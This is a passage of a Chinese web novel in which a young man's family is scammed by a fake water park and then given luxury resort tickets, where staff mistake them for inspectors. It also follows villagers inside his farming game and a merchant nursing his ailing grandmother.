她忍不住回想起原先李四是如何控诉他赚钱的不容易,而她又如何体恤丈夫,次次将自己作为需要最后考虑的人。 第45章 被骗 原先世道,像她这样的女人,若是不依靠男人,定是无法存活在世上,而现在,因有仙师的存在,她靠着自己的努力,自己的汗水,堂堂正正地拿到了足够养活自己,养活儿女的工钱。 若是还是以前,她知道自己定是不敢和离的。 原先和离这两个字,对她而言,像是洪水猛兽,若非她是彻底失智,那么她从不敢将手脚触碰到这红线之外。 而在看到希望和奇迹出现后,她像是所有的忍耐力突然降低,选择了和离。 原想着和离后的日子估计要过得清苦,但李娘子自认就算再清苦,也不会像原先那般遭罪了,但竟是没想到,她竟在短短的几日内,工钱早已超过那个在家中不可一世的李四。 临出斗坡村前,李娘子满怀敬畏地看了眼夜色中的村庄,随即屈膝一拜。 这一拜真心实意,她神色坚定,低声念道: “我等必勤修不辍,紧随仙师身后,直至太平盛世。” 她作为农妇,没念过书,不曾认字,但却求着那认字的人教会自己,仔细将这话读写记牢。 听那有学识的人仔细讲解了这话的含义。 那人告诉他,这意思就是,仙人不希望他们去供奉香火,而更希望每个人能靠着自己双手去创造美好的未来。 李娘子还记得自己当时的那股震撼。 ——这怎地和她以往听到的故事都不同呢? 原先那些人口中说的是只有真心祈求,才会得到自己想要的。 李娘子信了,跟着众人去参拜,十步九磕登顶,求的东西也未曾得到。 而此刻,遇到真正的仙人,仙人留下的警言却是让她脑袋空白了一瞬。 当时那人还在继续解释。 “据我所认为,仙人旨在告诉我等,与其去求外物,而不如修自身为佛像,自己供养自己,自己修炼肉身,自身成佛。” 李娘子听得如痴如醉,她之后也确实这般做了。 她不再去祈求外物,不将希望寄托在外物,全靠自己,一步步走向自己所期待的幸福。 等到真这么做了后,李娘子发现,原先那些禁锢住自己的所谓的恐惧,害怕,担忧,在她行动起来后,全部脆弱得好像一触碰就会碎裂。 能像现在这般,全凭她赶上了仙师现世,这才能聆听仙人的教诲。 李娘子满怀崇敬地离开了。 而在无人所知晓的地方,原先还差一丝的满意值进度条再次往前前进了一截,恰好到了新的满值,20。 而此时,姜定则是伸了个懒腰,揉了揉因为久打游戏而有些微微头疼的肩颈。 ——累了,这游戏果然费肝啊。 看了眼游戏好友竟然还在奋斗,姜定沉默片刻,还是留下了一行字。 “太肝了,我先下线休息一会,你也别熬夜熬没了,这两年一熬就没的人数量可不少啊!” 本以为游戏好友沉迷于打游戏,还得过会才能回自己时,却见对方讯速地弹出来一个精简的字。 “滚。” “哦。” 姜定敷衍地回了一句。 原先还想和好友聊聊这游戏,这会突然感觉和这样的肝佬聊游戏,除了能剧透大大降低他的体验感以外,似乎并没有什么作用 在想到这一层关系后,姜定果断存档,之后关电脑。 虽说白天吃粽子中奖的事太过于离谱,但总归是件足够幸运的事。 房女士为了庆祝这次中奖,特意从朋友圈票贩子手上买了三张水上乐园的游玩票,打算明天一家三口一起去金城的水上乐园转转。 本来是好事,但等姜定看清楚这水上乐园的具体地址后,顿时满头黑线。 昨天他记得高中同学群里,关于这个所谓的水上乐园吵得沸沸扬扬。 说那水上乐园纯骗人,去了一看,纯大荒地! 据知情人爆料,这水上乐园宣传的视频是盗用别的地方的视频,对外就说这水上乐园是连锁,所以布局一样,且因这群人都是外地人团伙作案,靠着线上大卖预售票,等到时间后,不少被吸引而来的游客过去后,这才发觉上当受骗了。 他昨天看了一眼就略过了,没想到这骗局能落到自己头上来。 于是姜定试探着问:“妈,三张票花了多少钱啊?” 房女士还在刷着所谓的水上乐园的视频,看上去很满意内部建设。 “现场买299,线上买只需要99,你妈我是不是很聪明?” 姜定不忍心打破亲妈的幻想,但左想右想,总觉得还是提前告诉她比较好。 “妈,这是外省人团伙作案搞的骗局,咱好像是被骗了” 边说,边小心翼翼地看着房女士的表情。 房女士眉头一蹙,先不信,等到姜定拿出确凿证据后,她嘟囔着不应该啊,她是在线上买的,说的是随时能退。 姜定忍不住提议让房女士去退款,结果果不其然,那线上团购正是这群骗子搞出来的软件,钱只要是支付了,便不能退款。 这会看到黄河了,姜定本以为老妈该死心了,却见房女士气得将手机重重一放,还是决定明天要去。 房女士原话是这样说的,“那么多人被骗了,那肯定有个说法,这可是三百块钱呢,咱家又离那里不远,咱去看看,运气好了能退回来,运气不好,咱就去附近的锦山动物园转转。” 姜定眼看拦不住,又觉得老妈这安排也还算合理,并不浪费时间,便同意了。 中了金子,这会却搭进去三百块,眼瞅着原先的好运不再,姜定失望之余,反而松了口气。 ——这就对了,先前他还以为自己真转性了,运气好了呢,现在看来,也就是瞎猫碰上了死耗子。 等到第二日时,一家三口早上八点准时出发。 今天是星期六,但不知为何,路上车出奇得少,等到到达目的地时,也才过了半小时。 去了那所谓的水上乐园的地址一看,果然和群里所说,是个大荒地。 房女士气得直骂。 “这群丧良心的,骗钱骗到老百姓头上,心可真黑,老百姓容易嘛,一年到头赚不了几个钱的。” 姜定和姜爸不敢说话,这会正想劝老妈消消气,去隔壁的动物园释放一下郁闷的心情时,变故却出现了。 一个穿着正装的人,走上前来和房女士说着话。 姜定没仔细听,只能听到全程房女士不满的控诉。 大约十分钟后,那穿着正装的人走了,姜定和姜爸刚想上去迎,却见房女士一脸喜气洋洋。 姜定顿感疑惑,老妈这是气得脑瓜子犯迷糊了? 却听房女士道:“看看这是什么!” 边说,边甩了甩手中的三张票。 姜定盯着去瞧,等到看到票上头的字后,顿时脑袋一懵。 “金城圣地疗养山庄?两天一晚?贵宾票?啊?咋来的啊妈?” 要知道这票价格可贵,别说住宿,就是单一张门票价格就要699了,更别提加上一晚住宿,且这票还是贵宾票,只要拿着这票,内部消费全免啊! 似乎是感受到了姜定强烈不解的目光,房女士笑吟吟地将三张票放进皮包夹层。 “就刚才那个人给我的,那人好像是过来了解水上乐园诈骗案一事的,最后他临走前,说是很不好意思,所以给了我三张票作为赔偿。 我就说吧,还是得过来看看,毕竟这么大的事呢,要是不处理的话,多影响我们城市的面貌啊! 啧啧啧,还好咱们来了,不然今天不仅亏三百,哪里能拿到这三张贵宾票哦!”??? 姜定懵了。 随后他蹙眉,——不应该啊,按照他的运气,这好事不应该能遇到啊。 等等,难不成好运不是他的,而是老妈的? 想想上次粽子是房女士单位分发的,这次票也是房女士购买的,这么一看,拥有绝对好运的是老妈啊! 姜定顿时就激动了,这猜想不过他还真没说,就怕房女士骄傲后干点别的大事。 姜爸则是激动得央求着想拍几张贵宾票的照片发朋友圈,被房女士瞪眼拒绝了。 “发什么发,小心一会别人看了后嫉妒咱家。” 姜爸冷静下来后,觉得这话有道理啊,有道理财不能外露,幸福不要显摆啊。 赶忙拍须溜马。 “还得是你啊老婆,咱家要是没有你,哪能去得了这地。” 说完,赶忙让两人上车。 原先的去动物园之旅暂时搁置了,一家人转而直奔金城圣地疗养山庄。 连着开了有三个小时后,三人这才到了山庄。 姜定还想去找找停车位在哪呢,这会功夫就有个小门童小跑着过来,脸上挂着笑。 “先生你好,需要泊车服务么?” 泊车服务?免费的还是? 姜定刚犹豫要不要开口问问,但又觉得问这话是不是太丢面子,还没来得及开口,副驾驶的房女士则是抽出三张贵宾卷,一脸不解。 “这票,包括泊车服务么?” 好样的!妈,轻易就问出来了我不好意思问的问题! 姜定在心里激动大喊,而门童则在看清楚上方标记着的贵宾票字样时,浑身一震。 随即他像是不确定一般,看了看眼前这家人开着的车。 ——有钱都没法弄到的贵宾票,但却开着十万块的车,这合理么? 再看看这一家三口,明显看上去就是第一次来的啊! 但是等等,会有这么简单么? 难不成,难不成是总部的钓鱼执法?派人来抽检他们这里的服务态度来了? 亦或是哪个大佬的亲戚? 门童有些不太确定,但工作的第一前提是要学会报备甩锅。 第46章 监察员 随着门童发放的消息被众人所知晓后,金城圣地疗养山庄全员进入一级戒备状态。 钱经理立马给各部门主管打了招呼,让他们密切关注刚来的一家人。 “要时刻记得我们山庄的守则,以顾客感受为最优先,这家人无论去哪个区域,各区域负责人必须拿出最饱满的精神状态去接待,还有的话就是今天各个区域的硬件措施必须要做到位,以免对方从硬件上找茬。” 他简单说两句,各区域的经理全都应下,随即进入漫长的等待状态。 而门童则利索上车,表示有这张票的话,泊车自然是免费的。 眼看着自家的小车离开,姜定还有些愣神。 倒是房女士抬脚往里面走。 “你两赶紧跟上呀,外面晒得慌。” “哦哦,这就来。” 顺着旋转门,三人进入了传说中的金城圣地疗养山庄。 姜定头一次来这种高端场所,进来后突然感觉怪不得人家单门票要699呢。 实在是低调奢华。 三人走了几步,被招待员接待着往前台引入。 很快,那三张贵宾票就被前台接待人员兑换成了三条腕表。 说是进去后无论想干什么,直接抬手让腕表对到刷卡机上即可。 等到接待的人都走后,姜定这才小心翼翼地凑过去和自家爸妈说话。 “感觉这个流程和咱们平时去的平价温泉乐园差不多么,也没我想象中的那么高大上。” 姜爸则是啧啧有声。 “儿子,你没意识到啊,流程是差不多,但人家服务态度好啊,还有就是你们都没注意到吧,这里的一草一木可全是真的,花重金移植过来的,可比咱们去那温泉看塑料叶子强多了。” 房女士也瞄了几眼附近,似乎恍然大悟。 “还真是,你爸没说我都没细看,还以为这里也是假的绿植呢。” 一家人嘀咕了几句,随后便直奔疗养中心最核心的景点——绿野仙踪。 而钱经理在看到三人凑在一起嘀咕后,顿时冷汗都下来了。 一进门就凑在一起互相评价,可见是对他们这里不太满意啊。 现在仔细追究问题出在了哪里也来不及了,钱经理擦了擦额头的汗,让绿野仙踪区域的负责人做好接待准备。 而等姜定三人来到这绿野仙踪时,三人均发出了长久的一声“哇——”声。 房女士最先开口,“我天呢,人家这里是不照骗啊,绿野仙踪还真和视频里看到的一样,看看那水池子,多原生态!” “都是人工产物,但别说确实好看。” 姜爸忍不住附和,而姜定则是扫了眼附近,随即眼神一亮。 “那边有卖泳衣的,咱们出来得急,去买一件穿着下水吧。” 三人走过去,快速挑选后,姜爸本想付钱,被告知直接刷手环即可。 等到三人在更衣室冲完澡,换完衣服后,均是忍不住称赞。 “这票这么牛?买泳衣都不花钱啊?” 三人边说边下了池子,这池子外观看着像是森林中遗漏下来的水池,姜定过去后才发现这里的植物竟然都是真的。 不过这水池子竟然是恒温泳池。 按道理说这里游客数量不应该会少,但不知道是不是今天运气好,偌大的水池子竟然只有他们一家三口。 ——人少就是清净啊。 姜定欢快地在水里游了几圈,心里大呼痛快。 ——比他去公共泳池游泳总被鱼雷乱炸强多了。 游个痛快后,姜定抬头去看池子上方的人造瀑布。 这瀑布的水快速流淌,从池子的另一端垂落,看上去美感十足。 姜定看着这地,顿觉不然拿手机拍照留念一下好了。 毕竟这地若不是房女士意外弄到了三张票,他家才不会有机会能来这呢。 拿出手机,姜定调整好构图,拍了几张泳池的貌美照片。 快速拍完照片后,姜定转身想去找找爸妈在哪,结果一转身,就看到两人正搁那里摆POSE拍照片呢! 房女士嘴里还在念叨。 “哎哎哎,你给我拍好看点,我一会要发朋友圈!” 沉默的姜定: 不是,之前是谁说的不要发朋友圈会惹得别人嫉妒啊! 或许是看着姜爸拍出来的照片实在是太惨不忍睹,姜定主动上前一步,僵笑着接下了这拍照片的任务。 而隔着监控,钱经理的脸色逐渐开始变得耐人寻味。 ——他们是不是弄错了这家人的反应不像是有任务在身啊? 尤其是那阿姨,拍照拍了多长时间了都! 正犹豫要不要继续对这家人监察时,身旁的人疑惑地指了指角落举着手机拍照的姜定。 “这小子是不是在拍咱们的安全通风口?难不成那出问题了?” 钱经理顿时一愣,随即将姜定拍照的页面拉大,仔细观察。 只见画面中的男孩先是试探着游了几圈,这看起来像是在水下查看他们泳池出水孔 等到查看完毕后,静静躺在水面,似乎在思考还有哪些安全隐患需要检查。 大约过了一分钟,画面中的男孩突然起身去拿手机,对准安全通风口就是一顿拍。 钱经理懵了,立即拨打电话,让本区域负责人去查看通风口。 负责人表示对方还在,他们无法正常过去查看,只能等人走了再说。 钱经理急得乱转,原先被他放过的画面再次重回眼前。 怪不得这对夫妻表现得就像个正常人一样大惊小怪,合着是专门去吸引他们的注意力去了,这真正的检查员,可能是那小子! 想到自己刚才差点就要解除戒备,放轻松时,钱经理恨不得给自己两个嘴巴子。 实在是太大意了! 这边有人在担忧,而姜定则是在水池子泡痛快后,考虑着喊上爸妈去换个项目体验体验。 等到他即将起身之际,好像感受到了一股灼热的视线? 定睛一看,这人看这模样应该是园区负责维修的吧? 再看看对方那副非常焦虑的模样,姜定顿时悟了。 ——应该是他们一家三口泡得时间太久,让这工作人员没办法下来维修了。 想到这点后,姜定起身去喊爸妈去别的地方转转。 房女士这会还在喜滋滋地看着朋友圈,听到姜定的叫喊后,立马将手机递给他看。 “看我朋友圈一发啊,这不少老同学都来问我去哪了呢,啧啧啧,还有我们单位最烦人的李姐也酸溜溜地问我这是哪。” 姜定有些好奇地看去,果然这条朋友圈下面炸出来不少潜水的人,这些人说什么话的都有,倒是房女士都没怎么回这些人。 不过眼下这不是重点,重点是他们要换个地方了。 一家三口换上更衣室提供的疗养服后,这才踱着步慢慢冲着餐饮区过去。 毕竟泡得时间久了,有些饿了。 眼看三人离去,维修工赶忙过去查看,但是等他绕完一圈后却发现,这里没啥问题啊? 而钱经理则在看着先前三人的动作后恍然大悟。 他说这三人怎么晚才走,原来是抱着心理战的目的来的啊? 假装他们这里有问题,迟迟不走,让他们先破防,等到看到维修员来了后,他们便能确定自家的确某处做得不到位,有需要维修的地方。 怪不得,那男孩在看到维修工会会露出那样意味深长的表情来。 看着这男孩岁数不大,但没想到竟然这般诡计多端? 单方面被误解为诡计多端·心机深沉的姜定,此刻正毫不知情地和爸妈坐在餐厅品鉴美食。 看完了监控的钱经理有些头疼,刚想让维修工回来时,就听耳麦那边维修工惊讶开口。 “钱经理,我刚才发现了一处漏洞,看样子像是刚发生的,您最好过来看看!” 原先还觉得自己被耍了的钱经理顿时眉头一蹙,立即直奔目的地而去。 而等他过去后,却发现维修工早已下了水,钱经理紧跟过去,结果就看到令他后怕的一幕。 分明是上个月才换过的排水口,此刻排水口格栅却已损坏。 要知道这玩意坏了的话,是极有可能挂住游客的衣服,头发,对游客造成伤害,而这些堵塞物也会造成排水系统故障,排水时产生巨大吸力,随即将人吸住产生生命危险。 钱经理赶紧多叫了两个维修工过来,随后又在绿野仙踪景区外设置防线。 他一直不敢离开,直到这处换了新的排水口,他这才放轻松。 ——好险,虽说被检查员发现扣分很让人崩溃,但相比于对游客造成的伤害,他又觉得庆幸。 但很快,疑问又产生了。 这么大的问题,若是检查员真发现了,应该直接喊他过去解决啊? 会不会会不会这三人真不是检查人员? 钱经理托人去打听消息,等差不多过了半个小时后,那边回话了。 看着上面的消息,钱经理不由松了口气。 ——原来那家人真的不是检查员,而是单纯来消遣的啊? 也怪他想得太多,脑补能力太强。 钱经理无语之际,又庆幸不已。 幸亏他谨慎,不然还真发现不了这漏洞。 根据技术组的排查得出,是这批次产品质量不行,所以才会在不到一个月就坏掉。 不过除了产品质量本身不过关以外,还有每日负责检查排水口的质控员不负责任。 若每天都能按规矩检查,不至于在这么严重的问题上犯这种错误。 钱经理处理好这事后,这才去关注那一家三口。 在注意到对方似乎去了餐饮区域后,钱经理若有所思。 随即便派人继续关注着他们。 他有种预感,若是能跟着这家人,或许他还会有更大的收获。 第47章 年卡 果然不出他所料。 这家人所出现之地,钱经理总能意外获得新的发现。 大部分是一些经营方面的小问题,还有几个平时丝毫不被注意到的失误。 那几个失误若不是主动跳了出来,就算他们每周检查,也不会注意到。 注意到事情果然像是自己所想的那般发生后,钱经理摩挲着下巴,开始思考着难不成是公司的某个大佬发现这家人身上有着奇妙的能力,所以这才给了对方三张贵宾票,过来专门来找运营的BUG了? 越想越觉得奇妙,但这事钱经理自然不会傻傻的去问是谁,只能假装不知道。 等到第二天,吃好喝好睡好玩好的姜定吃完最后一顿午饭后,恋恋不舍地和家人去前台退还腕表。 姜爸回想起昨晚令人沉迷的冥想室,房女士想起昨晚舒服到爆炸的SPA,两人忍不住双双叹了口气。 ——别说,这贵的东西享受起来是舒服哈,就是他们都是小市民,以后哪还有机会来哦! 姜定看着两人颇为怀念的表情,这会不受控制地抽搐着嘴角,使劲去抽二人手心握得死死的腕表。 “妈,松手,爸,撒手,别给人扯坏了。” 好不容易将腕表摘下还给前台,三人正欲往外走时,却被人喊住。 “三位稍等一下。” 姜定转身去看,这人长得白胖,看着倒是和善。 房女士满脸疑惑,“怎么了,是有什么事么?” 姜爸也是一脸懵,心想不会是有消费没结清吧? 看着眼前懵逼的一家人,赵经理先是做了自我介绍,随即拿出一张青色卡片递过去。 “恭喜三位是第66666名在我店消费的顾客,喜获家庭年卡一张,一年内可无限制免门票进入本店,且每个月的话,家庭成员可体验收费项目三种。” 咔嚓—— 姜定惊呆了下巴。 他们这是中奖了? 还中了年卡? 无限制免门票,每个月免费体验三个收费项目? 要知道这里面不少体验,类似于泡汤,蒸桑拿,养生浴这类可都是免费的啊! 至于收费的项目可就贵了。 算来算去,三张免费票赚了一年年卡,怎么看都是他们赢麻了好么! 所以说,这么多年,其实他一直拖了房女士的后腿么 话说,好运的开始,好像是从那颗金枣开始的 姜定脑内思绪万千,这会呆愣在原地不知所措,而最先反应过来的房女士则是激动地捂住了嘴巴。 ——她就知道,昨天儿子吃到了那颗金枣,那绝对是他们家开始走上坡路的象征啊! 好不容易按着那股激动劲,仔细问了问这钱经理之后年卡使用限制和条件好,房女士越听越觉得自己这是沾了个大便宜啊! 而钱经理的想法就要单纯多了。 ——他还有一年就要升迁了,这一年内可千万不能因为店铺管理出岔子,既然这家人总能阴差阳错找到经营的问题,那么他还不如自掏腰包,给这家人办个年卡,至少能保障他在任期间没问题。 至于一年以后的事,则就轮不到他操心了。 等门童将车子开出来后,原先脏兮兮的车子这会甚至都给洗得干净,姜爸震撼之余上车一看,发现连车内都给清理干净了。 原先车内座椅被亲戚小孩弄脏的污痕,这会也全都消失不见。 不仅如此,车内还散发着阵阵幽香。 姜爸没忍住大呼小叫。 “昨天给我打电话说问我要不要洗车,我寻思车上也没贵重东西,洗就洗呗,还能省点钱,谁能想到他们店洗车还给精洗啊,这在外面不得一百块啊。” 姜定凑过去一看,不怪姜爸没见识,他也没想到这地竟然还给精洗啊? 全家人心情愉悦地返程,等到家后,姜定赶紧回了房间,一想到这个周末过得十分滋润,这会心情舒畅得很。 而就在此刻,他消息响了。 点开一看,正是高中班长发来的消息。 上面写着,“姜定,下礼拜天,同学聚会你来不?” 姜定看着这话,原本还兴奋着的心顿时一落地。 ——他一个无业游民,去了是不是不好啊? 万一他去了,同班同学各个有工作,他一个无业游民去了干啥? 纠结犹豫怎么回复,姜定索性暂时当没看到,打算考虑一晚,明天再回复班长。 想事情的时候,他又不习惯呆愣愣地呆着,索性点开《大炎种田》游戏缓解焦虑。 游戏还在加载,姜定突然想到一个事。 上次他离开了几个小时,游戏内显示着已经过了三个月,这次他出去了两天,不知道游戏内又是过了多久? 怀着忐忑的心情,姜定点开游戏,等到看清楚游戏内标记着的时间时,他忍不住有些惊讶。 ——奇怪,本以为游戏内的时间会过了很久,但谁能想到,游戏内也就才过了一个月? 怎么比上次时间过得还要慢? 姜定不解,随即在想到某种可能后舒展了眉头。 他知道了,应该是有什么特殊剧情要到了,这个剧情很重要,所以在游戏权重内占比很高,容不得跳过。 所以游戏内时间流逝才会变慢。 想明白这点后,姜定淡定多了,开始慢慢查看这一个月内游戏内多了什么。 ——仓库多了超级灵麦种子2399个,普通麦子已经堆叠了好几个999的格子,根本数不清。 除了灵麦数量多了以外,姜定还惊讶地发现了一件事。 他的铜钱数量涨了! 目前距离一万两只有一步之遥,大概还差六百多文便能攒够银钱。 终于快要下山的姜定忍不住心中一喜,还没高兴多久,新的提醒就来了。 【哦哦哦!你的初级铁矿矿产量还有五天就要见底啦!或许你该尝试着去寻找新的铁矿了。】 游戏冰冷的提示让姜定忍不住愣住了,随即他连忙点击铁矿,想看看游戏内铁矿这玩意到底都用到了哪儿。 等到看到铁矿杂七杂八被运用在农业,商业,制造业后,姜定沉默了。 看来必须要组织勘测队下山勘测矿脉了。 好在先前他早有预期,预先培养了一批这方面的人才。 边想,姜定边点开了雇佣按钮。 等到找到原先被他分配着去学勘测的工人后,姜定连忙点击其中最为有天赋的一人,让对方组织队伍下山去采铁矿。 在姜定给工人下令出去工作前,他倒是意外得了一张设计图纸。 【地脉检测器:能具体检测范围三公里以内地脉所在的具体位置。】 看了眼制作检测器需要的材料,姜定松了口气,还好,没什么难搞的材料,看来这里并不是游戏卡进度的地方。 快速制作好检测器后,姜定选定工人,随即传送检测器,等到选中后,他又将对着对方按了一下名为【外出工作】的按钮。 而此刻,正趴在地上细细分辨地脉的李明月被突然出现在脑内的声音吓了一跳。 这声音虽说她是第一次听,但几乎片刻,她便反应过来此人是谁。 ——这般清冷似谪仙的声音,除了仙师还能有谁! 李明月忍住激动,努力让呼吸平稳下来。 “仙师,您有什么吩咐吗?” 李明月正是先前那个被仙师分配在勘测的里正家最小的儿媳。 这段时间,她一直不敢懈怠,努力在学堂里学习着知识。 除却学习外,她也没闲着,前前后后将整个潜灵山都转了个遍。 因没有学堂内那些人使用的仙家法宝,李明月只能靠着自己本身的理解去寻找潜在地脉。 等她找了一番后,倒还真找到了地脉所在。 只是细看后才叹气。 ——原来她找到的这处是地脉不假,但这里是仙师原先就发现的地脉,这里早就已经处于开采状态了。 虽说有些气馁,但好歹是验证了她的想法并未出错,李明月激动了几分,更加刻苦学习。 同一批学习的人中,只有她最有热情,最为拼命。 其余人虽说也热情,但多少还差点意思。 这样一学便是多半年,期间大哥嫂子均做出了成绩,就她还在原地踏步,这让李明月有些着急。 甚至她都想去问问仙师,她何时才能学成归去,却不曾想,她还未找仙师,仙师却先来找她了。 “山上铁矿开采即将见底,你带领一队下山去寻找新的地脉,越快越好。” 李明月立即明白,该她为仙师效力的时候到了。 虽说没有那仙家法宝,但她对她的能力还算有信心。 她们一行共有二十人,按道理可以分成两组行动,以便更快地完成仙师的嘱托。 刚想接下这任务,李明月却愕然感觉到兜里一沉。 感觉到口袋内的分量后,李明月先一愣,随即想到嫂嫂曾经给自己说过仙师独有的神通。 “仙师有能隔空传物的神通,若你之后遇到了,别害怕,淡然接受便是。” 想到这便是嫂嫂说过的仙师神通,李明月不敢多问,忙摸出此物,等到看到那类似于学堂中的仙家法宝后,她忍不住惊喜,随后信心大增。 ——有了这物的帮助,她想必能更准确地找到地脉。 而此刻,耳边继续传来仙师的叮嘱。 “你且记着,这探测器只能探测到三公里内地脉的具体位置,但大致方位还需要你把握。” 李明月连声应下。 ——有这种能够精准找到地脉位置的法宝,会极大地提升成功率。 退一万步来说,她完全可以带队先去那些很有可能出现铁矿的山头去探,去寻,因有法宝的存在,她们就算是靠脚丈量土地也完全能够找寻到地脉。 李明月沉思之际,发现仙师不知何时离开了。 这一发现让她忍不住叹息,仙师还是太勤勉了,每次任命都是急匆匆地来,急匆匆地去,嫂嫂曾多次评价仙师,说仙师是四海八荒最为勤勉的神仙,起初她还不信,但这会看到仙师确实如同嫂嫂所说,原先的不理解,此刻通通变成了敬佩。 第48章 效力 斗坡村。 受赵金构所托,负责监造客栈的平儿总算亲眼看着这客栈建成了。 若从外面看的话,这客栈外形看着气度非凡,一砖一瓦均显精致,甚至可以与风仙城内的出名客栈一较高下。 这客栈一共花费白银八百两,因斗坡村地皮便宜得几乎可以忽略,这八百两中,花费在客栈本身建筑上的便有七百两,剩余的一百两,被赵金构下令做成一处带大厨房的,可对外开放,供游人品鉴美食的区域。 这处区域便是他当时答应里正给张氏一行人建设的美食推广区域。 而客栈内,赵金构均命人按照风仙城高等客栈的规格去建造。 赵金构想得久远,若按照他的眼光来看的话,斗坡村未来定会成为炙手可热的地区,而他的客栈占着一个不错的位置,既能提供高档住宿,又有特色美食的加持,以及张氏推广美食区域的存在,没道理未来发展不起来。 试着想想吧,作为一个满眼新鲜好奇的外来人,自然会选择又能住宿,又能品鉴地方美食,还能赶上本村推广美食活动的地方去。 多方面因素考虑下,赵金构自然愿意投入大些,力求建造出一所从现在开始,到未来存续很久的百年老店。 不过他倒是想得全面,来斗坡村做生意的不能单是有钱人,还有不少手头不宽裕的小商贩,面对贵些的住宿住不起,只能选择别的地方去住宿,对于这部分人群,赵金构自然也没有打算放弃这部分市场,而是巧妙地分隔并建一所较为亲民的客栈,以供手头不宽裕的人住宿。 而这两所客栈,若对外说的话便是两个人经营的,自然不会对他想象中的百年老店未来的规划有所影响。 因近期赵金构在家中伺弄祖母,没有闲心思过来查看客栈建设,于是这活计全被托付给了平儿。 眼瞅着客栈建设完毕,平儿用信鸽报信赵金构。 而赵金构此刻,则正坐在祖母床前,给祖母一勺一勺地喂着药。 方大夫配置好的药方用他的话来说,足够祖母吃到恢复健康了,一共三十株的极品药材,方大夫只用了十株便停手,至于剩下的二十株,赵金构并未想贪心吞下,而是打算等祖母彻底病好后,将这二十株给那山头上的仙人送回去。 虽说有可能知道对方并不缺这极品药材,但他却不能当做不知情,吞下这能救命的药材。 等到给祖母照旧喂完了药后,赵金构将碗放在桌子上,一旁的丫鬟端着空碗下去,赵金构仔细地给祖母用帕子拭了拭唇边。 躺在榻上的赵老夫人精气神要比前些日子好些,原先是除了眼珠子能动以外,别的都动不了,而现在吃了新配置好的药一个月,赵老夫人竟能颤抖着说出几句话了。 不过除了能说出话以外,别的肢体暂时还不能动弹。 看着近期孙子因操持自己的身体变得憔悴不已,赵老夫人心疼得想摸摸孙子的肩膀,可惜那手沉重得像是灌了铅一般,不听使唤,唯一能动的便是嘴,废了半天劲,她努力地拼凑出自己想说的话。 “构儿,祖母给你添麻烦了你去忙银英在我身边” 赵老夫人说出的话艰涩异常,而赵金构听懂了祖母的意思。 她不愿意自己捆绑住了自己,要让她的贴身丫鬟银英照顾。 赵金构果断拒绝后,看着明显消瘦不少的祖母,心头忍不住酸涩。 撩起长袍,安静地跪在床前,他缓缓开口。 “祖母从小对孙儿爱护有加,而现祖母生病,正是需要孙儿床前孝顺时,孙儿如何能抛弃您去外面安心做事? 您莫要赶孙儿走,若您有个三长两短,这世道对于孙儿来说并无甚乐趣,到时候,我和您一起,好让您不至于孤单害怕。” 赵老夫人忍不住为赵金构的执拗叹了口气,回想起他小时候的事。 初见赵金构时,只觉得那像玉做的小人儿惊恐异常,连跟着人来给她请安时也是瑟缩的一团,不像是被人精心养着的,等到后来知道自己那不成器的儿子做的糊涂事后,她恼怒异常,将赵金构接过去好生看管教育。 期间有人谗言自家孙儿不服管教,不是个好的,但那亲自养在眼前的人,老太太自己如何能不清楚? “简直一派胡言,据我看构儿品行心性俱佳,往后这孩子的事你们旁人莫插手。” 一养便养到了这般大。 这孩子也不负她期望,长大后不论为人处世,皆让她称叹。 老太太本已想好了,这孩子没人疼,她到时候便将自己当年的嫁妆,以及现在手中的私库留给他,就当补偿他在这个家受到的委屈。 本以为日子会这般安稳地过下去,她却中风了。 等到亲耳听到大夫所说的诊断后,她这病除非用那百年药材才有能恢复后,赵老夫人自然是察觉到了难度。 这种药材怎会轮到她一个商户人家的老太太长期服用? 这么一直瘫着不是个事,尤其是像赵老夫人这般有心气的人,宁愿去死,也不愿瘫在床上。 说实话,赵老夫人其实没太多恐惧,——她都这么大岁数了,也活够本了,财产的去留也有安排,她并不害怕死亡。 至于看到孙儿闪烁着的泪光,她无奈之余也觉得,便这样吧,她迟早要比孙儿早去的,长痛不如短痛。 硬着心肠,她不肯再吃一口饭菜。 赵金构期间跪下来求了又求,用性命相逼,她也不曾动摇。 直到有丫鬟附耳告诉她,赵金构去了那潜灵山,为了去求药。 老太太天塌了。 那叫银英的丫鬟流着泪,求她吃点东西。 “小少爷已经替老夫人去求药了,我晓得老夫人心气高,受不了自己这般模样,但完事您也要等少爷回来再说,万一到时候少爷带药回来了,您却将身子折腾坏了,可怎么办?少爷的性子咱们都晓得,是您一手带大的,您要是有个三长两短,他” 后面的话,银英没继续说,但赵老太太自己却知道。 且最主要的是,她得活着看孙子到底能不能活着回来,若孙儿没回来,她也不用熬了,索性祖孙两一起上路。 赵老夫人开始吃饭,焦急等了有两天,等到了孙子顺利回家的消息。 之后,她有了药。 若按那大夫所说,她这病或许是有救了。 生病期间,她那不成器的儿子来过一次,随后招呼丫鬟好生伺候自己便离开了,唯有孙儿对她寸步不离,熬了一个多月,瘦了不少。 眼瞅着自己逐渐能说话了,赵老夫人便不想再耽误孙子,倒是没想到,孙子依旧这般固执。 赵老夫人只能无奈叹气,同时嘱咐孙儿不要将精力全用在她身上。 听到祖母艰难说的来请求后,赵金构为了让祖母放心,答应了。 而这时,窗口传来信鸽扑腾翅膀的声响,赵金构还没去看,就听祖母道:“去” 赵金构: 等到拆开信件,看完平儿发来的消息后,赵金构微微思索,斟酌着写下一句话。 “另单独设置几间简易小屋,供给走投无路之人免费入榻。” 在他成功上山求得药材后,赵金构时常在想,仙师能于危难之际无条件帮他,而他又能做些什么去回报对方? 这段时间他也托人打听了,他在山上遇到的仙人原来真是张山口中的仙师,且这仙人脱俗异常,既不让给自身塑像以求香火,也不让民众过分拥护自己,就连那誓言,也说的是要让民众勤修不辍,自发向上,和原先他知道的那些只吃香火的地方不一样。 赵金构很难描述自己第一次知晓那誓言时所带来的冲动和震撼 太平盛世真能达到吗? 若按照仙师所言,便真能搏一个太平盛世? 理智上不相信,但赵金构知道自己动心了。 既是需要人人都献出一份微薄之力,他为何不尝试一番呢? 于是这才提笔写下那话。 与此同时,赵金构心中暗叹。 ——等祖母病好后,他要在还仙师药材的同时,表明自己愿替仙师效力。 毕竟原先他是犹豫,但现在,他在了解仙师为人,尤其是对方对自己有大恩的情况下,按照他的性格,很难会拒绝。 而在赵金构确定了某种信心后,姜定此刻的电脑屏幕上则是出现了一条莫名其妙的提示。 【不知名人物的好感度上涨了。】 姜定??? 不是,上次也有一条这提示,这人到底谁啊? 和姜定的懵逼不同的是,他手下的工人倒是各个晓得自己该做些什么。 